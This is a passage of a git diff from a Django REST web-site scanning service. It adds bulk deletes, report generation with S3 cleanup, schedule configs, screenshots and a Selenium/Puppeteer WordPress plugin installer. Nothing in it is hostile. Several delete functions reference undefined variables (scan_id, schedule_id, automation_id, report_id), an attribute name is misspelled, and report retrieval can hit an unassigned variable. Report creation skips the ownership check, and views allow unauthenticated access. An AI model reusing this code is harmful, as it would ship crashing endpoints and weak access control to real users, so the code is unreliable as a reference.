new_scan = S(site=site, configs=configs) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + if not post_scan and pre_scan: + post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + + # updating parired scans pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan pre_scan.save() + post_scan.save() + + # updating test object + test.type = test_type + test.type = test_type test.pre_scan = pre_scan test.post_scan = post_scan test.save() - updated_test = T(test=test).run_full_test() + # running tester + updated_test = T(test=test).run_test(index=index) serializer_context = {'request': request,} serialized = TestSerializer(updated_test, context=serializer_context) @@ -194,6 +347,10 @@ def create_test(request, delay=False): + + + + def get_tests(request): user = request.user test_id = request.query_params.get('test_id') @@ -203,10 +360,16 @@ def get_tests(request): small = request.query_params.get('small') if test_id != None: - test = Test.objects.get(id=test_id) + + try: + test = Test.objects.get(id=test_id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if test.site.user != user: - data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} + data = {'reason': 'you cannot retrieve Tests of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -265,7 +428,13 @@ def get_tests(request): def delete_test(request, id): - test = Test.objects.get(id=id) + try: + test = Test.objects.get(id=id) + except: + data = {'reason': 'cannot find a Test with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + site = test.site user = request.user @@ -283,13 +452,60 @@ def delete_test(request, id): +def delete_many_tests(request): + ids = request.data.get('ids') + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + test = Test.objects.get(id=id) + if test.site.user == user: + test.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response + def create_scan(request, delay=False): site_id = request.data['site_id'] user = request.user - site = Site.objects.get(id=site_id) + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) account_is_active = check_account(request) if not account_is_active: @@ -302,15 +518,35 @@ def create_scan(request, delay=False): record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + + configs = request.data.get('configs', None) + tags = request.data.get('tags', None) + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + + # creating scan obj + created_scan = Scan.objects.create(site=site, tags=tags) + if delay == True: - create_scan_bg.delay(site.id) - data = {'message': 'scan is being created in the background'} + create_scan_bg.delay(scan_id=created_scan.id, configs=configs) + data = { + 'status': True, + 'message': 'scan is being created in the background', + 'id': str(created_scan.id), + } record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) else: - created_scan = Scan.objects.create(site=site) - updated_scan = ScanSite(scan=created_scan).first_scan() - + updated_scan = S(scan=created_scan, configs=configs).first_scan() serializer_context = {'request': request,} serialized = ScanSerializer(updated_scan, context=serializer_context) data = serialized.data @@ -332,7 +568,12 @@ def get_scans(request): small = request.query_params.get('small') if scan_id != None: - scan = Scan.objects.get(id=scan_id) + try: + scan = Scan.objects.get(id=scan_id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if scan.site.user != user: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} @@ -345,19 +586,14 @@ def get_scans(request): record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) + try: site = Site.objects.get(id=site_id) except: - if site_id != None: - data = {'reason': 'cannot find a site with that id',} - this_status = status.HTTP_404_NOT_FOUND - status_code = '404' - else: - data = {'reason': 'you did not provide the site_id'} - this_status = status.HTTP_400_BAD_REQUEST - status_code = '400' - record_api_call(request, data, status_code) - return Response(data, status=this_status) + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if site.user != user: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} @@ -389,7 +625,13 @@ def get_scans(request): def delete_scan(request, id): - scan = Scan.objects.get(id=id) + try: + scan = Scan.objects.get(id=scan_id) + except: + data = {'reason': 'cannot find a Scan with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + site = scan.site user = request.user @@ -407,6 +649,49 @@ def delete_scan(request, id): +def delete_many_scans(request): + ids = request.data.get('ids') + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + scan = Scan.objects.get(id=id) + if scan.site.user == user: + scan.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response + + def create_or_update_schedule(request): account_is_active = check_account(request) @@ -432,24 +717,17 @@ def create_or_update_schedule(request): except: schedule = None - try: - schedule_status = request.data['status'] - except: - schedule_status = None - - try: - begin_date_raw = request.data['begin_date'] - time = request.data['time'] - timezone = request.data['timezone'] - freq = request.data['frequency'] - task_type = request.data['task_type'] - except: - pass - try: - schedule_id = request.data['schedule_id'] - except: - schedule_id = None + schedule_status = request.data.get('status', None) + begin_date_raw = request.data.get('begin_date', None) + time = request.data.get('time', None) + timezone = request.data.get('timezone', None) + freq = request.data.get('frequency', None) + task_type = request.data.get('task_type', None) + test_type = request.data.get('test_type', None) + configs = request.data.get('configs', None) + schedule_id = request.data.get('schedule_id', None) + if schedule_status != None and schedule != None: @@ -464,25 +742,46 @@ def create_or_update_schedule(request): schedule.save() # retriving object again to avoid cacheing issues schedule_new = Schedule.objects.get(id=request.data['schedule_id']) + + # if not status change, updating data else: + + if Automation.objects.filter(schedule=schedule).exists(): + automation = Automation.objects.filter(schedule=schedule)[0] + auto_id = automation.id + else: + auto_id = None + if task_type == 'test': task = 'api.tasks.create_test_bg' arguments = { 'site_id': str(site.id), + 'configs': configs, + 'type': test_type, + 'automation_id': str(auto_id) } if task_type == 'scan': task = 'api.tasks.create_scan_bg' arguments = { 'site_id': str(site.id), + 'configs': configs, + 'automation_id': str(auto_id) + } + + if task_type == 'report': + task = 'api.tasks.create_report_bg' + arguments = { + 'site_id': str(site.id), + 'automation_id': str(auto_id) } format_str = '%m/%d/%Y' try: - begin_date = datetime.datetime.strptime(begin_date_raw, format_str) + begin_date = datetime.strptime(begin_date_raw, format_str) except: - begin_date = datetime.datetime.now() + begin_date = datetime.now() num_day_of_week = begin_date.weekday() day = begin_date.strftime("%d") @@ -513,12 +812,9 @@ def create_or_update_schedule(request): periodic_task.update( crontab=crontab, name=task_name, task=task, + kwargs=json.dumps(arguments), ) periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id) - elif PeriodicTask.objects.filter(name=task_name).exists(): - data = {'reason': 'Task has already be created',} - record_api_call(request, data, '401') - return Response(data, status=status.HTTP_401_UNAUTHORIZED) else: periodic_task = PeriodicTask.objects.create( crontab=crontab, name=task_name, task=task, @@ -526,11 +822,20 @@ def create_or_update_schedule(request): ) else: + if PeriodicTask.objects.filter(name=task_name).exists(): + data = {'reason': 'Task has already be created',} + record_api_call(request, data, '401') + return Response(data, status=status.HTTP_401_UNAUTHORIZED) + periodic_task = PeriodicTask.objects.create( crontab=crontab, name=task_name, task=task, kwargs=json.dumps(arguments), ) + extras = { + "configs": configs, + "test_type": test_type, + } if schedule: schedule_query = Schedule.objects.filter(id=schedule_id) @@ -539,6 +844,7 @@ def create_or_update_schedule(request): user=request.user, timezone=timezone, begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, task_type=task_type, + extras=extras ) schedule_new = Schedule.objects.get(id=schedule_id) else: @@ -546,7 +852,8 @@ def create_or_update_schedule(request): user=request.user, site=site, task_type=task_type, timezone=timezone, begin_date=begin_date, time=time, frequency=freq, task=task, crontab_id=crontab.id, - periodic_task_id=periodic_task.id, + periodic_task_id=periodic_task.id, + extras=extras ) serializer_context = {'request': request,} @@ -565,7 +872,12 @@ def get_schedules(request): if schedule_id != None: - schedule = Schedule.objects.get(id=schedule_id) + try: + schedule = Schedule.objects.get(id=schedule_id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if schedule.site.user != user or schedule.user != user: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} @@ -582,16 +894,9 @@ def get_schedules(request): try: site = Site.objects.get(id=site_id) except: - if site_id != None: - data = {'reason': 'cannot find a site with that id',} - this_status = status.HTTP_404_NOT_FOUND - status_code = '404' - else: - data = {'reason': 'you did not provide the site_id'} - this_status = status.HTTP_400_BAD_REQUEST - status_code = '400' - record_api_call(request, data, status_code) - return Response(data, status=this_status) + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if site.user != user: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} @@ -612,7 +917,13 @@ def get_schedules(request): def delete_schedule(request, id): - schedule = Schedule.objects.get(id=id) + try: + schedule = Schedule.objects.get(id=schedule_id) + except: + data = {'reason': 'cannot find a Schedule with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) site = schedule.site user = request.user @@ -688,6 +999,8 @@ def create_or_update_automation(request): arguments = { 'site_id': str(schedule.site.id), 'automation_id': str(automation.id), + 'configs': json.loads(task.kwargs).get('configs', None), + 'type': json.loads(task.kwargs).get('type', None), } task.kwargs=json.dumps(arguments) task.save() @@ -703,8 +1016,14 @@ def create_or_update_automation(request): def get_automations(request): automation_id = request.query_params.get('automation_id') user = request.user - if automation_id != None: - automation = Automation.objects.get(id=automation_id) + if automation_id != None: + try: + automation = Automation.objects.get(id=automation_id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if automation.user != user: data = {'reason': 'you cannot retrieve an Automation you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -726,7 +1045,12 @@ def get_automations(request): def delete_automation(request, id): - automation = Automation.objects.get(id=id) + try: + automation = Automation.objects.get(id=automation_id) + except: + data = {'reason': 'cannot find a Automation with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if automation.user != request.user: data = {'reason': 'you cannot delete an automation you do not own',} @@ -743,6 +1067,125 @@ def delete_automation(request, id): + + + + + +def create_or_update_report(request): + + report_id = request.data.get('report_id', None) + site_id = request.data.get('site_id', None) + report_type = request.data.get('type', ['full']) + text_color = request.data.get('text_color', '#24262d') + background_color = request.data.get('background_color', '#e1effd') + highlight_color = request.data.get('highlight_color', '#4283f8') + site = Site.objects.get(id=site_id) + + info = { + "text_color": text_color, + "background_color": background_color, + "highlight_color": highlight_color, + } + + if report_id: + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + else: + report = Report.objects.create( + user=request.user, site=site + ) + + # update report data + report.info = info + report.type = report_type + report.save() + un_cached_report = Report.objects.get(id=report.id) + + + # generate report + updated_report = R(report=un_cached_report).make_test_report() + + + serializer_context = {'request': request,} + data = ReportSerializer(updated_report, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + +def get_reports(request): + site_id = request.query_params.get('site_id', None) + report_id = request.query_params.get('report_id', None) + + if site_id: + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + reports = Report.objects.filter(site=site, user=request.user).order_by('-time_created') + + if report_id: + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if site_id is None and report_id is None: + reports = Report.objects.filter(user=request.user).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(reports, request) + serializer_context = {'request': request,} + serialized = ReportSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + + +def delete_report(request, id): + user = request.user + try: + report = Report.objects.get(id=report_id) + except: + data = {'reason': 'cannot find a Report with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + if report.user != user: + data = {'reason': 'you cannot delete Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # remove s3 objects + delete_report_s3_bg.delay(report_id=id) + + # remove report + report.delete() + + data = {'message': 'Report has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + def get_logs(request): log_id = request.query_params.get('log_id') @@ -781,6 +1224,115 @@ def get_logs(request): + +def install_wp_plugin(request): + login_url = request.data.get('login_url', None) + admin_url = request.data.get('admin_url', None) + plugin_name = request.data.get('plugin_name', None) + username = request.data.get('username', None) + password = request.data.get('password', None) + wait_time = request.data.get('wait_time', 30) + driver = request.data.get('driver', 'selenium') + + if driver == 'selenium': + + # init wordpress + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ) + + # login + wp_status = wp.login() + + # adjust lang + wp_status = wp.begin_lang_check() + + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + + # re adjust lang + wp_status = wp.end_lang_check() + + if wp_status: + data = { + 'status': 'success', + 'message': 'plugin installed successfully' + } + else: + data = { + 'status': 'failed', + 'message': 'plugin installation failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + else: + + # init wordpress for puppeteer + wp_status = asyncio.run( + W_P( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ).run_full(plugin_name=plugin_name) + ) + + if wp_status: + data = { + 'status': 'success', + 'message': 'plugin installed successfully' + } + else: + data = { + 'status': 'failed', + 'message': 'plugin installation failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + + + + + + +def create_site_screenshot(request): + user = request.user + site_id = request.data.get('site_id', None) + url = request.data.get('url', None) + configs = request.data.get('configs', None) + site = None + + if site_id is not None: + site = Site.objects.get(id=site_id) + + if configs is not None: + if configs['driver'] == 'puppeteer': + data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs)) + elif configs['driver'] == 'selenium': + data = I().screenshot(site=site, url=url, configs=configs) + else: + data = I().screenshot(site=site, url=url, configs=configs) + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + + + def get_home_stats(request): sites = Site.objects.filter(user=request.user) site_count = sites.count() diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 5315a86a..7af13878 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -1,38 +1,158 @@ -from ...models import (Test, Site, Scan, Log) -from ...scan_tests.scan_site import ScanSite -from ...scan_tests.tester import Test as T -from ...scan_tests.automations import automation +from ...models import * +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...utils.reporter import Reporter as R +from ...utils.automations import automation +import boto3 +from scanerr import settings -def create_site_task(site_id): + +def create_site_task(site_id, scan_id): site = Site.objects.get(id=site_id) - ScanSite(site=site).first_scan() + scan = Scan.objects.get(id=scan_id) + S(site=site, scan=scan).first_scan() return site -def create_scan_task(site_id, automation_id=None): - site = Site.objects.get(id=site_id) - created_scan = Scan.objects.create(site=site) - scan = ScanSite(scan=created_scan).first_scan() +def create_scan_task( + scan_id=None, + site_id=None, + automation_id=None, + configs=None, + tags=None, + ): + if scan_id is not None: + created_scan = Scan.objects.get(id=scan_id) + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_scan = Scan.objects.create( + site=site, + tags=tags, + ) + scan = S(scan=created_scan, configs=configs).first_scan() if automation_id: automation(automation_id, scan.id) return scan -def create_test_task(site_id, automation_id=None): - site = Site.objects.get(id=site_id) - created_test = Test.objects.create(site=site) - new_scan = ScanSite(site=site) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan + + +def create_test_task( + test_id=None, + site_id=None, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + tags=None, + ): + + if test_id is not None: + created_test = Test.objects.get(id=test_id) + site = created_test.site + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_test = Test.objects.create( + site=site, + type=type, + tags=tags, + ) + + if pre_scan is not None: + pre_scan = Scan.objects.get(id=pre_scan) + if post_scan is not None: + post_scan = Scan.objects.get(id=post_scan) + + if post_scan is None and pre_scan is not None: + post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + + if pre_scan is None and post_scan is None: + new_scan = S(site=site, configs=configs) + post_scan = new_scan.second_scan() + pre_scan = post_scan.paired_scan + + # updating parired scans pre_scan.paired_scan = post_scan + post_scan.paried_scan = pre_scan pre_scan.save() + post_scan.save() + + # updating test object + created_test.type = type created_test.pre_scan = pre_scan created_test.post_scan = post_scan created_test.save() - test = T(test=created_test).run_full_test() + + + test = T(test=created_test).run_test(index=index) if automation_id: automation(automation_id, test.id) return test + + +def create_report_task(site_id, automation_id=None): + site = Site.objects.get(id=site_id) + if Report.objects.filter(site=site).exists(): + report = Report.objects.filter(site=site).order_by('-time_created')[0] + else: + info = { + "text_color": '#24262d', + "background_color": '#e1effd', + "highlight_color": '#4283f8', + } + report = Report.objects.create( + user=site.user, + site=site, + info=info, + ) + + + report = R(report=report).make_test_report() + if automation_id: + automation(automation_id, report.id) + return report + + + + + + +def delete_site_s3(site_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # deleting s3 objects + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + + return + + + +def delete_report_s3(report_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # get site + site = Report.objects.get(id=report_id).site + + # deleting s3 objects + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() + + return diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index 243f95b2..6fb0ef13 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -6,17 +6,25 @@ path('site', views.Sites.as_view(), name='site'), path('site/', views.SiteDetail.as_view(), name='site-detail'), path('site/delay', views.SiteDelay.as_view(), name='site-delay'), + path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'), path('scan', views.Scans.as_view(), name='scan'), path('scan/', views.ScanDetail.as_view(), name='scan-detail'), path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'), + path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'), path('test', views.Tests.as_view(), name='test'), path('test/', views.TestDetail.as_view(), name='test-detail'), path('test/delay', views.TestDelay.as_view(), name='test-delay'), + path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'), path('log', views.Logs.as_view(), name='log'), path('log/', views.LogDetail.as_view(), name='log-detail'), path('schedule', views.Schedules.as_view(), name='schedule'), path('schedule/', views.ScheduleDetail.as_view(), name='schedule-detail'), path('automation', views.Automations.as_view(), name='automation'), path('automation/', views.AutomationDetail.as_view(), name='automation-detail'), + path('report', views.Reports.as_view(), name='report'), + path('report/', views.ReportDetail.as_view(), name='report-detail'), path('home-stats', views.HomeStats.as_view(), name='home-stats'), + path('beta/wordpress/install-plugin', views.WordPressPluginInstall.as_view(), name='install-plugin'), + path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), + ] \ No newline at end of file diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 2fd4088f..4bf441a9 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -2,7 +2,8 @@ from rest_framework.response import Response from rest_framework import status from django.contrib.auth.models import User -from ...models import (Test, Site, Scan, Log, Schedule, Automation) +from django.shortcuts import get_object_or_404 +from ...models import * from django.urls import path, include from rest_framework import routers, serializers, viewsets from rest_framework.viewsets import ViewSet @@ -10,18 +11,10 @@ from rest_framework.views import APIView from rest_framework.permissions import IsAuthenticated from django.views.decorators.csrf import ensure_csrf_cookie -from .serializers import ( - SiteSerializer, TestSerializer, ScanSerializer, LogSerializer, - ScheduleSerializer, AutomationSerializer - ) from rest_framework.pagination import LimitOffsetPagination -from .services import ( - record_api_call, create_or_update_schedule, create_test, get_tests, delete_test, - create_scan, get_scans, delete_scan, get_logs, create_site, get_sites, delete_site, - create_or_update_automation, get_automations, delete_automation, get_schedules, - delete_schedule, get_home_stats - ) from django.urls import resolve +from .serializers import * +from .services import * @@ -45,7 +38,7 @@ class SiteDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - site = Site.objects.get(id=id) + site = get_object_or_404(Site, pk=id) if site.user != request.user: data = {'reason': 'you cannot retrieve a Site you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -60,6 +53,7 @@ def delete(self, request, id): return response + class SiteDelay(APIView): permission_classes = (AllowAny,) http_method_names = ['post',] @@ -70,6 +64,16 @@ def post(self, request): +class SitesDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_sites(request) + return response + + + class Scans(APIView): permission_classes = (AllowAny,) @@ -90,7 +94,7 @@ class ScanDetail(APIView): http_method_names = ['get', 'delete',] def get(self, request, id): - scan = Scan.objects.get(id=id) + scan = get_object_or_404(Scan, pk=id) if scan.site.user != request.user: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') @@ -117,6 +121,14 @@ def post(self, request): return response +class ScansDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_scans(request) + return response + @@ -140,7 +152,7 @@ class TestDetail(APIView): http_method_names = ['get', 'delete',] def get(self, request, id): - test = Test.objects.get(id=id) + test = get_object_or_404(Test, pk=id) if test.site.user != request.user: data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} record_api_call(request, data, '403') @@ -166,6 +178,14 @@ def post(self, request): return response +class TestsDelete(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = delete_many_tests(request) + return response + @@ -189,7 +209,7 @@ class ScheduleDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - schedule = Schedule.objects.get(id=id) + schedule = get_object_or_404(Schedule, pk=id) if schedule.site.user != request.user: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') @@ -228,7 +248,7 @@ class AutomationDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - automation = Automation.objects.get(id=id) + automation = get_object_or_404(Automation, pk=id) if automation.user != request.user: data = {'reason': 'you cannot retrieve Automations you do not own',} record_api_call(request, data, '403') @@ -248,6 +268,43 @@ def delete(self, request, id): +class Reports(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_or_update_report(request) + return response + + def get(self, request): + response = get_reports(request) + return response + + + +class ReportDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + report = get_object_or_404(Report, pk=id) + if report.user != request.user: + data = {'reason': 'you cannot retrieve Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ReportSerializer(report, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_report(request, id) + return response + + + class Logs(APIView): permission_classes = (AllowAny,) http_method_names = ['get',] @@ -263,7 +320,7 @@ class LogDetail(APIView): http_method_names = ['get',] def get(self, request, id): - log = Log.objects.get(id=id) + log = get_object_or_404(Log, pk=id) if log.user != request.user: data = {'reason': 'you cannot retrieve Logs you do not own',} record_api_call(request, data, '403') @@ -282,4 +339,24 @@ class HomeStats(APIView): def get(self, request): response = get_home_stats(request) + return response + + + + +class WordPressPluginInstall(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = install_wp_plugin(request) + return response + + +class SiteScreenshot(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_site_screenshot(request) return response \ No newline at end of file diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py index 7e90fe87..08e5ae7e 100644 --- a/app/scanerr/celery.py +++ b/app/scanerr/celery.py @@ -1,8 +1,8 @@ from __future__ import absolute_import, unicode_literals -import os from celery import Celery from django.conf import settings -import scanerr +import scanerr, os + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') @@ -13,4 +13,5 @@ @app.task(bind=False) def debug_task(self): - print('Request: {0!r}'.format(self.request)) \ No newline at end of file + print('Request: {0!r}'.format(self.request)) + diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 6414f9ef..8ac13a51 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -17,10 +17,6 @@ # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent - -# Quick-start development settings - unsuitable for production -# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/ - # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = os.environ.get('SECRET_KEY') @@ -31,6 +27,7 @@ CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') API_URL_ROOT = os.environ.get('API_URL_ROOT') CORS_ORIGIN_ALLOW_ALL = True +DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") @@ -49,6 +46,7 @@ 'rest_framework.authtoken', 'django_celery_beat', 'markdownify.apps.MarkdownifyConfig', + 'storages', ] MIDDLEWARE = [ @@ -88,12 +86,6 @@ if DEBUG == True: - # DATABASES = { - # 'default': { - # 'ENGINE': 'django.db.backends.sqlite3', - # 'NAME': BASE_DIR / 'db.sqlite3', - # } - # } DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql @@ -107,12 +99,6 @@ else: - # DATABASES = { - # 'default': { - # 'ENGINE': 'django.db.backends.sqlite3', - # 'NAME': BASE_DIR / 'db.sqlite3', - # } - # } DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql @@ -143,12 +129,12 @@ }, ] + # Django REST framework REST_FRAMEWORK = { # Use Django's standard `django.contrib.auth` permissions, # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ - # 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly', 'rest_framework.permissions.DjangoModelPermissions', ], @@ -160,12 +146,8 @@ 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', 'PAGE_SIZE': 10, - # 'DEFAULT_RENDERER_CLASSES': [ - # 'rest_framework.renderers.JSONRenderer', - # ], } - # SIMPLE_JWT = { # 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=.5), # 'REFRESH_TOKEN_LIFETIME': timedelta(minutes=1), @@ -193,6 +175,37 @@ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, "static") +### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ### +# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') +# STATIC_ROOT = 'static' +# MEDIA_ROOT = 'media' +# STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" +# MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" +# AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') +# AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') + + +# Used to authenticate with S3 using 'django-stores' pypi package and 'boto3' 